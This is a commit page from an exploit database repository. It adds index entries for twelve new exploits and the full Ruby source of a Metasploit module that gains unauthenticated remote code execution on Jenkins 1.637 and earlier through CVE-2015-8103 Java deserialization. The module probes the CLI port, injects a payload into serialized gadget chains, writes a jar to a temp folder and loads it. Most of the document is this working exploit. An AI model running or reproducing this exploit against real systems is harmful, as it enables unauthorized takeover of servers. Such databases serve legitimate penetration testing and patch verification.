Skip to content

Commit 3dc44f0

Browse files
author
Offensive Security
committed
DB: 2015-12-16
12 new exploits
1 parent 538f42e commit 3dc44f0

14 files changed

Lines changed: 1029 additions & 16 deletions

File tree

‎files.csv‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35232,3 +35232,15 @@ id,file,description,date,author,platform,type,port
3523235232
38974,platforms/multiple/remote/38974.rb,"Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution",2015-12-14,metasploit,multiple,remote,0
3523335233
38975,platforms/php/webapps/38975.txt,"Bitrix bitrix.mpbuilder Module 1.0.10 - Local File Inclusion",2015-12-14,"High-Tech Bridge SA",php,webapps,80
3523435234
38976,platforms/php/webapps/38976.txt,"Bitrix bitrix.xscan Module 1.0.3 - Directory Traversal",2015-12-14,"High-Tech Bridge SA",php,webapps,80
35235+
38977,platforms/php/remote/38977.py,"Joomla 1.5 - 3.4.5 - Object Injection Remote Command Execution",2015-12-15,Sec-1,php,remote,0
35236+
38978,platforms/windows/dos/38978.py,"IBM Tivoli Storage Manager FastBack Server 5.5.4.2 - Invalid Pointer Dereference",2015-12-15,"Ptrace Security",windows,dos,11460
35237+
38979,platforms/windows/dos/38979.py,"IBM Tivoli Storage Manager FastBack Server 5.5.4.2 - _FXCLI_SetConfFileChunk Stack Buffer Overflow Vulnerability",2015-12-15,"Ptrace Security",windows,dos,11460
35238+
38980,platforms/windows/dos/38980.py,"IBM Tivoli Storage Manager FastBack Server 5.5.4.2 - _FXCLI_GetConfFileChunk Stack Buffer Overflow Vulnerability",2015-12-15,"Ptrace Security",windows,dos,11460
35239+
38981,platforms/php/webapps/38981.txt,"Ovidentia absences Module 2.64 - Remote File Inclusion",2015-12-15,bd0rk,php,webapps,80
35240+
38982,platforms/jsp/remote/38982.rb,"ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability",2015-12-15,metasploit,jsp,remote,8020
35241+
38983,platforms/java/remote/38983.rb,"Jenkins CLI RMI Java Deserialization Vulnerability",2015-12-15,metasploit,java,remote,8080
35242+
38985,platforms/php/webapps/38985.txt,"Dredge School Administration System /DSM/loader.php Id Parameter SQL Injection",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
35243+
38986,platforms/php/webapps/38986.txt,"Dredge School Administration System /DSM/loader.php Account Information Disclosure",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
35244+
38987,platforms/php/webapps/38987.html,"Dredge School Administration System /DSM/loader.php Admin Account Manipulation CSRF",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
35245+
38988,platforms/php/webapps/38988.txt,"Dredge School Administration System /DSM/Backup/processbackup.php Database Backup Information Disclosure",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
35246+
38989,platforms/php/webapps/38989.txt,"Ovidentia bulletindoc Module 2.9 - Multiple Remote File Inclusion Vulnerabilities",2015-12-15,bd0rk,php,webapps,80

‎platforms/java/remote/38983.rb‎

Lines changed: 263 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,263 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',
17+
'Description' => %q{
18+
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
19+
the Jenkins master, which allows remote arbitrary code execution. Authentication is not
20+
required to exploit this vulnerability.
21+
},
22+
'Author' =>
23+
[
24+
'Christopher Frohoff', # Vulnerability discovery
25+
'Steve Breen', # Public Exploit
26+
'Dev Mohanty', # Metasploit module
27+
'Louis Sato', # Metasploit
28+
'William Vu', # Metasploit
29+
'juan vazquez', # Metasploit
30+
'Wei Chen' # Metasploit
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
['CVE', '2015-8103'],
36+
['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],
37+
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
38+
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
39+
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']
40+
],
41+
'Platform' => 'java',
42+
'Arch' => ARCH_JAVA,
43+
'Targets' =>
44+
[
45+
[ 'Jenkins 1.637', {} ]
46+
],
47+
'DisclosureDate' => 'Nov 18 2015',
48+
'DefaultTarget' => 0))
49+
50+
register_options([
51+
OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
52+
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
53+
Opt::RPORT('8080')
54+
], self.class)
55+
end
56+
57+
def exploit
58+
unless vulnerable?
59+
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
60+
end
61+
invoke_remote_method(set_payload)
62+
invoke_remote_method(class_load_payload)
63+
end
64+
65+
66+
# This is from the HttpClient mixin. But since this module isn't actually exploiting
67+
# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
68+
# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.
69+
70+
def target_uri
71+
begin
72+
# In case TARGETURI is empty, at least we default to '/'
73+
u = datastore['TARGETURI']
74+
u = "/" if u.nil? or u.empty?
75+
URI(u)
76+
rescue ::URI::InvalidURIError
77+
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
78+
raise Msf::OptionValidateError.new(['TARGETURI'])
79+
end
80+
end
81+
82+
def normalize_uri(*strs)
83+
new_str = strs * "/"
84+
85+
new_str = new_str.gsub!("//", "/") while new_str.index("//")
86+
87+
# Makes sure there's a starting slash
88+
unless new_str[0,1] == '/'
89+
new_str = '/' + new_str
90+
end
91+
92+
new_str
93+
end
94+
95+
def check
96+
result = Exploit::CheckCode::Safe
97+
98+
begin
99+
if vulnerable?
100+
result = Exploit::CheckCode::Vulnerable
101+
end
102+
rescue Msf::Exploit::Failed => e
103+
vprint_error(e.message)
104+
return Exploit::CheckCode::Unknown
105+
end
106+
107+
result
108+
end
109+
110+
def vulnerable?
111+
res = send_request_cgi({
112+
'uri' => normalize_uri(target_uri.path)
113+
})
114+
115+
unless res
116+
fail_with(Failure::Unknown, 'The connection timed out.')
117+
end
118+
119+
http_headers = res.headers
120+
121+
unless http_headers['X-Jenkins-CLI-Port']
122+
vprint_error('The server does not have the CLI port that is needed for exploitation.')
123+
return false
124+
end
125+
126+
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
127+
@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
128+
return true
129+
end
130+
131+
false
132+
end
133+
134+
# Connects to the server, creates a request, sends the request,
135+
# reads the response
136+
#
137+
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
138+
#
139+
def send_request_cgi(opts={}, timeout = 20)
140+
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
141+
actual_timeout = datastore['HttpClientTimeout']
142+
else
143+
actual_timeout = opts[:timeout] || timeout
144+
end
145+
146+
begin
147+
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
148+
c.connect
149+
r = c.request_cgi(opts)
150+
c.send_recv(r, actual_timeout)
151+
rescue ::Errno::EPIPE, ::Timeout::Error
152+
nil
153+
end
154+
end
155+
156+
def invoke_remote_method(serialized_java_stream)
157+
begin
158+
socket = connect(true, {'RPORT' => @jenkins_cli_port})
159+
160+
print_status 'Sending headers...'
161+
socket.put(read_bin_file('serialized_jenkins_header'))
162+
163+
vprint_status(socket.recv(1024))
164+
vprint_status(socket.recv(1024))
165+
166+
encoded_payload0 = read_bin_file('serialized_payload_header')
167+
encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)
168+
encoded_payload2 = read_bin_file('serialized_payload_footer')
169+
170+
encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"
171+
print_status "Sending payload length: #{encoded_payload.length}"
172+
socket.put(encoded_payload)
173+
ensure
174+
disconnect(socket)
175+
end
176+
177+
end
178+
179+
def print_status(msg='')
180+
super("#{rhost}:#{rport} - #{msg}")
181+
end
182+
183+
#
184+
# Serialized stream generated with:
185+
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
186+
#
187+
def set_payload
188+
stream = Rex::Java::Serialization::Model::Stream.new
189+
190+
handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')
191+
decoded = stream.decode(handle)
192+
handle.close
193+
194+
inject_payload_into_stream(decoded).encode
195+
end
196+
197+
#
198+
# Serialized stream generated with:
199+
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
200+
#
201+
def class_load_payload
202+
stream = Rex::Java::Serialization::Model::Stream.new
203+
handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')
204+
decoded = stream.decode(handle)
205+
handle.close
206+
inject_class_loader_into_stream(decoded).encode
207+
end
208+
209+
def inject_class_loader_into_stream(decoded)
210+
file_name_utf8 = get_array_chain(decoded)
211+
.values[2]
212+
.class_data[0]
213+
.values[1]
214+
.values[0]
215+
.values[0]
216+
.class_data[3]
217+
file_name_utf8.contents = get_random_file_name
218+
file_name_utf8.length = file_name_utf8.contents.length
219+
class_name_utf8 = get_array_chain(decoded)
220+
.values[4]
221+
.class_data[0]
222+
.values[0]
223+
class_name_utf8.contents = 'metasploit.Payload'
224+
class_name_utf8.length = class_name_utf8.contents.length
225+
decoded
226+
end
227+
228+
def get_random_file_name
229+
@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"
230+
end
231+
232+
def inject_payload_into_stream(decoded)
233+
byte_array = get_array_chain(decoded)
234+
.values[2]
235+
.class_data
236+
.last
237+
byte_array.values = payload.encoded.bytes
238+
file_name_utf8 = decoded.references[44].class_data[0]
239+
rnd_fname = get_random_file_name
240+
register_file_for_cleanup(rnd_fname)
241+
file_name_utf8.contents = rnd_fname
242+
file_name_utf8.length = file_name_utf8.contents.length
243+
decoded
244+
end
245+
246+
def get_array_chain(decoded)
247+
object = decoded.contents[0]
248+
lazy_map = object.class_data[1].class_data[0]
249+
chained_transformer = lazy_map.class_data[0]
250+
chained_transformer.class_data[0]
251+
end
252+
253+
def read_bin_file(bin_file_path)
254+
data = ''
255+
256+
File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|
257+
data = f.read
258+
end
259+
260+
data
261+
end
262+
263+
end

0 commit comments

Comments
 (0)